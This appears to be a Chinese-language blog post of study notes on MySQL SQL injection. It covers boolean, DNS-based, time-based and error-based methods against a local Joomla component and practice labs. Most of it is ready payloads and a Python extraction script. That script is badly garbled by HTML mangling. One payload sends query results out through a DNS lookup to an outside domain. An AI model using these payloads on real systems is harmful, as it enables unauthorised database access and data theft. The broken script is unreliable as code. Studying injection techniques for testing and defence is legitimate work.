注入点: http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload] BooleanBase 二分法 优点: 比遍历穷举快 缺点:
原理解析
最后只需要将手工测试的过程转换成python用代码自动化实现 实战 直接上代码吧 # -*- coding:UTF-8 -*-import requestsimport sys# 准备工作url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'flag = ''cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)print(response.text)i = 1while i <= 7:="" left="0" right="len(string)" -="" 1="" mid="int((left" +="" right)="" 2)="" print('\n')="" print(flag)="" print('testing...="" '="" +="" str(left)="" +="" '="" '="" +="" str(right))="" #="" 特殊情况="" if="" (right="" -="" left)="=" 1:="" payload='(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)' .format(i,="" str(ord(string[left])))="" poc="url" +="" payload="" print(poc)="" response="requests.get(poc,cookies=cookies,timout=2)" if="" ('安全令牌无效')="" in="" response.text:="" flag="flag" +="" string[right]="" print(flag)="" exit()="" else:="" flag="flag" +="" string[left]="" print(flag)="" exit()="" #="" 二分法="" while="" 1:="" mid="int((left" +="" right)="" 2)="" payload='(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)' .format(i,="" str(ord(string[mid])))="" poc="url" +="" payload="" print(poc)="" response="requests.get(poc,cookies=cookies,timeout=2)" #="" 右半部="" if="" ('安全令牌无效')="" in="" response.text:="" left="mid" +="" 1="" print('left:'+str(left))="" #="" 左半部="" else:="" right="mid" print('right:'+str(right))="" if="" (left="=" right):="" flag="flag" +="" string[left]="" break="" #="" 特殊情况="" if="" (right="" -="" left)="=" 1:="" payload='(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)' .format(i,="" str(ord(string[left])))="" poc="url" +="" payload="" print(poc)="" response="requests.get(poc,cookies=cookies,timeout=2)" if="" ('安全令牌无效')="" in="" response.text:="" flag="flag" +="" string[right]="" print(flag)="" break="" else:="" flag="flag" +="" string[left]="" print(flag)="" break="" i="" +="">=> DNSLOG 优点: 简单,不需要像二分法一样繁琐地一个个遍历 快速(相对于二分法而言) 缺点: 局限于Windows环境下(UNC路径) Mysql版本>=5.5.53就要检查Secure_file_priv这个全局变量是否为空(若为NULL,则不可用,详见) 原理解析 找了国外的paper研究了一波,不懂的就来一波疯狂乱查,然后拿个小本本记下来~~ 虽然大概明白是个什么意思,但是计网的dns知识(明年这个时候才学),我。。。有点晕~ 然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图,如有不对,感谢各位大佬指正:
payload:?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+ 一开始自己搭建测试环境的时候遇到各种玄学问题…… 如何查看mysql是否开启了文件导入导出?mysql>show global variables like '%secure%';如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。如何修改secure_file_priv?windows下:修改my.ini 在[mysqld]内加入secure_file_priv =linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =MYSQL新特性secure_file_priv对读写文件的影响然后重启mysql,再查询secure_file_priv,为空,则已经设置好了。 实战 源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义,所以对于dnslog的复现不是很有利,所以我就把过滤去掉了。 但是实践的时候又发现了问题: 查询是正常的,但是,并没有解析到dns记录 然后就做了个愚蠢的试验: 配合报错注入里面的查询,却可以解析到dns记录 后来看到作者用sqlmap跑的payload(DUAL表是一张虚拟表),发现用了一波case when,然后一样可以得到dns记录 但是这里有个疑问就是,尽管后面的句子不会执行,但是else后面的语句一定要加union查询,不加的话,是截获不了dns记录的。 估计审一波代码就可以知道为什么了 。◕‿◕。 所以就去搜了一波 CASE WHEN 然后发现它又是一个功能比较强大的东东:) # 官方定义:CASE WHEN condition1 THEN result1 WHEN condition2 THEN result2 ... WHEN conditionN THEN resultN ELSE resultEND# 总结来说:case when 有两种用法,类似于C语言的 swicth case# 简单判断版mysql> select * from users;+----+----------+--------+| id | username | passwd |+----+----------+--------+| 1 | admin | admin || 2 | KarmA | KarmA |+----+----------+--------+mysql> select -> ( case when users.id = 1 then users.username -> when users.id = 2 then users.username -> else 0 end) as username2 from users;+-----------+| username2 |+-----------+| admin || KarmA |+-----------+# 搜索版# when 后面可以接任意判断表达式,then 后面就是true的时候执行的语句mysql> select * from users;+----+----------+--------+| id | username | passwd |+----+----------+--------+| 1 | admin | admin || 2 | KarmA | KarmA |+----+----------+--------+mysql> select -> ( case when users.id = 1 then users.username -> when users.id = 2 then users.username -> else 0 -> end) as username2 from users;+-----------+| username2 |+-----------+| admin || KarmA |+-----------+ 参考资料 OBB注入 DNSLOG利用 笔记: Data Retrieval over DNS in SQL Injection Attacks TimeBase 前段时间看到do9gy@长亭科技大佬发的一篇文章,就赶紧学一波新型盲注技巧 sleep() mysql> select sleep(5);+----------+| sleep(5) |+----------+| 0 |+----------+1 row in set (5.00 sec) benchmark() mysql> select benchmark(1000000,sha(1));+---------------------------+| benchmark(1000000,sha(1)) |+---------------------------+| 0 |+---------------------------+1 row in set (0.39 sec) 不推荐使用 笛卡尔积 (这是一个线代的概念??我怎么好像没有印象了……)
为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别: mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;+-----------+| count(*) |+-----------+| 337801632 |+-----------+1 row in set (6.19 sec) get_lock() 这个只演示原理吧,虽然延时精准,但是利用条件也很苛刻~~(需要使用 mysql_pconnect函数来连接数据库) session 1 mysql> select get_lock('karma',1);+---------------------+| get_lock('karma',1) |+---------------------+| 1 |+---------------------+1 row in set (0.00 sec) session 2 mysql> select get_lock('karma',10);+----------------------+| get_lock('karma',10) |+----------------------+| 0 |+----------------------+1 row in set (10.00 sec) 参考资料 MySQL时间盲注五种延时方法 (PWNHUB 非预期解) ErrorBase floor()+count()+group by (万能) payload:http://localhost/sqli/less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ exp() payload:http://localhost/sqli/less-1/?id=1' and exp(~(select * from (select database() ) a) );--+ bigint (Mysql Version >=5.4.45) payload:http://localhost/sqli/less-1/?id=1' and !(select*from(select user())x)-~0-- - extractvalue() (Mysql Version >=5.1.5) 与updatexml类似 updatexml() (Mysql Version >=5.1.5) updatexml最多只能显示32位,超过长度可以配合substr()
payload:http://localhost/sqli/less-1/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+ name_const()
payload:http://localhost/sqli/less-1/?id=1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;--+ 重点标注的x可以换成其他字母,但是不能不填以及填数字。Every derived table must have its own alias不填会报错table需要别名。后来本地测试了一下: 就明白为什么了! |
|
来自: 昵称11935121 > 《未命名》